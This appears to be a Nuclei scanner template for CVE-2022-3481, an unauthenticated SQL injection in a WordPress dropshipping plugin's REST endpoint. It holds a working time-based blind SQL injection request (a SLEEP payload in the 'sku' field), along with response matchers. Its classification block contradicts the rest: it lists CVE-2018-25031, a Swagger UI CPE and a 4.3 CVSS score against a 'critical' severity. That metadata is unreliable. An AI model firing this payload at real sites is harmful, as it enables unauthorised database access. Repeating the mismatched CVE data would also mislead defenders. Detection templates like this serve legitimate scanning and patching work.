漏洞描述
The plugin does not properly sanitise and escape a parameter before using it in a SQL statement via a REST endpoint available to unauthenticated users, leading to a SQL injection
id: CVE-2022-3481
info:
name: NotificationX Dropshipping < 4.4 - SQL Injection
author: ritikchaddha
severity: critical
description: |
The plugin does not properly sanitise and escape a parameter before using it in a SQL statement via a REST endpoint available to unauthenticated users, leading to a SQL injection
reference:
- https://wpscan.com/vulnerability/c5e395f8-257e-49eb-afbd-9c1e26045373
- https://nvd.nist.gov/vuln/detail/CVE-2022-3481
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
cvss-score: 4.3
cve-id: CVE-2018-25031
cwe-id: CWE-20
epss-score: 0.61537
epss-percentile: 0.98236
cpe: cpe:2.3:a:smartbear:swagger_ui:*:*:*:*:*:*:*:*
metadata:
max-request: 1
verified: true
fofa-query: body="/wp-content/plugins/woocommerce-dropshipping"
tags: cve,cve2022,wordpress,wp-plugin,wp,sqli,woocommerce,notificationx,vkev,vuln
http:
- raw:
- |
@timeout: 30s
POST /wp-json/woo-aliexpress/v1/product-sku HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"sku":"a\" AND (SELECT 42 FROM (SELECT(SLEEP(7)))wlHd)-- pOeU"}
matchers:
- type: dsl
dsl:
- 'duration>=7'
- 'status_code == 200'
- 'contains(content_type, "application/json")'
- 'contains_all(body, "code\":", "message\":\"Product", "status\":400")'
condition: and
# digest: 490a0046304402205d3cea2e68b0665ea03c400eda0bbc5f22a78405f200185ddaee9d46f89853df02206040b3a803847808d238aaeb356227194c46ddb1e66803ff79452a3120ac737b:922c64590222798bb761d5b6d8e72950